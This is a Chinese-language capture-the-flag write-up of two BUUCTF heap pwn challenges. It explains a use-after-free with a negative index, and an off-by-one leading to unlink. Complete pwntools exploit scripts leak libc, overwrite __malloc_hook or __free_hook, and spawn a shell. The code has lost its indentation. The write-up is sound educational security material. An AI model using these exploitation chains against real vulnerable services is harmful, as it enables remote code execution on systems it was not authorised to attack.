能在buuctf上打比赛还是很舒服的,两道pwn题比较基础,wp就随便写一下啦!

运行环境为ubuntu16.04,libc-2.23.so
常见的菜单题,这里主要分析一下bss段的数据分布:

需要注意的地方有:
0≤ idx <=5的ticket堆块,但是只能删除idx < 3的ticket堆块ticket的操作都是以heap_size来进行判断的,而且释放堆块后对应的大小会置为0edit_info和show_info似乎并没有什么用漏洞点在于两个地方,都在del_ticket函数中。
第一处是未校验索引大小,使得索引可以为负数。
第二处是存在UAF,可以利用残留信息泄露出libc地址。释放堆块的时候只把存储size的地方置为了0,指针没有置空。

在bss堆布局可以看到,age的值可控,因此可以将age写为bss地址,然后释放掉bss_fake_chunk,控制索引为2、3的chunk的大小,可以越界写。

利用步骤即为:
unsorted bin残留的信息泄露出libc地址del_ticket(-3)释放bss_fake_chunkchunk的大小,使得能越界写chunkfreed 0x70大小的chunk,修改其fd为__malooc_hook - 0x23realloc + one_gadget来获取shell调试过程:
释放假的chunk:

越界修改fd:

修改realloc_hook和malloc_hook:

from pwn import *
LOG_ADDR = lambda x, y: "{} ---> {}".format(x, hex(y))
sh = process(‘./ticket‘)
libc = ELF(‘./libc-2.23.so‘)
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.update(arch="amd64", endian="little", os=‘linux‘)
def welcome(name, saying, age:int):
sh.sendafter("Your name: \n", name)
sh.sendafter("what do you want to say before take off(wu hu qi fei): \n", saying)
sh.sendlineafter("Your age: \n", str(age))
def add_ticket(idx, size):
sh.sendlineafter(">> ", ‘1‘)
sh.sendlineafter("Index: \n", str(idx))
sh.sendlineafter("Remarks size: \n", str(size))
sh.recvline()
def del_ticket(idx):
sh.sendlineafter(">> ", ‘2‘)
sh.sendlineafter("Index: \n", str(idx))
sh.recvline()
def edit_ticket(idx, remark):
sh.sendlineafter(">> ", ‘3‘)
sh.sendlineafter("Index: \n", str(idx))
sh.sendafter("Your remarks: \n", remark)
sh.recvline()
def show_ticket(idx):
sh.sendlineafter(">> ", ‘4‘)
sh.sendlineafter("Index: \n", str(idx))
msg = sh.recvline()
log.info("msg recv:{}".format(msg))
return msg
# construct a fake-chunk at bss segment
welcome("xxxx", "xxxx", 0x6020e0)
add_ticket(1, 0x21) # chunk1
add_ticket(2, 0x100)
add_ticket(3, 0x10)
add_ticket(5, 0x21)
# free fake-chunk
del_ticket(-3)
# re-malloc fake-chunk by chunk0
add_ticket(0, 0x18)
# recover chunk2‘s size and reset chunk3‘s size
edit_ticket(0, p64(0x100) + p64(0))
# leak libc addr
del_ticket(2)
add_ticket(2, 0x100)
msg = show_ticket(2)
leak_libc_addr = u64(msg[-7:-1] + b"\x00\x00")
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
# calc some useful address
target_addr = libc.sym["__malloc_hook"] - 0x23
system_addr = libc.sym[‘system‘]
realloc_addr = libc.sym[‘realloc‘]
one_gadget = libc.offset_to_vaddr(gadgets[1])
# change chunk2‘s size to overflow
edit_ticket(0, p64(0x10000))
# get freed 0x70 chunk
del_ticket(1)
add_ticket(1, 0x60)
del_ticket(1)
# change free-chunk‘s fd-ptr to target_addr
layout = [[0] * 32, 0x110, 0x21, [0] * 3, 0x31, [0] * 5, 0x71, target_addr]
edit_ticket(2, flat(layout))
# fastbin attack
add_ticket(1, 0x60)
add_ticket(3, 0x60)
layout = [0xb * "a", one_gadget, realloc_addr + 0xd]
edit_ticket(3, flat(layout))
# get shell by malloc_hook(one_gadget)
sh.sendlineafter(">> ", "5")
sh.interactive()
远程打:


运行环境为ubuntu18.04, libc-2.27.so
写得花里胡哨的菜单题,有malloc、free、edit、show功能,先来看bss段布局:

分布很简单,左边存储用户输入的大小,右边存储分配的指针
需要注意的有:
chunk的大小限定在0-256之间libc判断出来堆会使用tcache bin机制call函数存在一个off by one:

可以直接把0-256之间的每个数带进去算一遍,很多数都会使得v0+v1 = v0+1,部分数会让v1计算得到0。
带有tcache bin机制的off by one,直接利用unlink,搞个0x90---0x20---0x90的三明治,然后覆盖__free_hook为system,释放带有/bin/sh的块即可获得shell。
详细利用步骤为:
0x90大小的tcache bin0x90---0x20---0x90off by one和unlink,得到0x140的块,并包含释放状态的0x20的堆块libc地址freed chunk 0x20的fd指针为__free_hook地址tcache bin posioning覆盖__free_hook为system地址/bin/sh的块获取shell调试过程:
off by one修改pre_inuse位:

unlink:

泄露地址并修改fd指针:

from pwn import *
LOG_ADDR = lambda x, y: "{} ---> {}".format(x, hex(y))
sh = process(‘./pwn‘)
libc = ELF(‘./libc.so‘)
context.update(arch="amd64", os=‘linux‘, endian="little")
def fight(idx, size, data="a"):
sh.sendlineafter("choice:", "1")
sh.sendlineafter("please choice your card:", str(idx))
sh.sendlineafter("Infuse power:\n", str(size))
sh.sendafter("quickly!", data)
def call(idx, data):
sh.sendlineafter("choice:", "2")
sh.sendlineafter("please choice your card\n", str(idx))
sh.sendafter("start your bomb show\n", data)
def play(idx):
sh.sendlineafter("choice:", "3")
sh.sendlineafter("Which card:", str(idx))
def show(idx):
sh.sendlineafter("choice:", "4")
sh.sendlineafter("index:", str(idx))
sh.recvuntil("dedededededede:")
msg = sh.recvuntil("Dededededededede~~~~~~~~~~\n")
log.info("msg recv:{}".format(msg))
return msg
# malloc 7 chunks
for i in range(7):
fight(i, 0x80)
# get sandwich-chunk
fight(7, 0x80)
fight(8, 0x18)
fight(9, 0x80)
fight(10, 0x10, "/bin/sh\x00") # gap top-chunk
# fulfill tcache bin[0x90]
for i in range(7):
play(i)
play(7)
# off by one
call(8, b"a" * 0x10 + p64(0xb0) + b"\x90")
# unlink
play(8)
play(9)
# leak_addr
fight(0, 0xa0, "a" * 8)
msg = show(0)
leak_libc_addr = u64(msg[8:16])
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3ebdd0
libc.address = libc_base_addr
# change fd-ptr
call(0, b"a" * 0x88 + p64(0x21) + p64(libc.sym[‘__free_hook‘]))
# tcache bin attack
fight(1, 0x10)
fight(2, 0x10, p64(libc.sym[‘system‘]))
# get shell
play(10)
sh.interactive()
远程打:

https://roderickchan.github.io/
原文:https://www.cnblogs.com/LynneHuan/p/14826770.html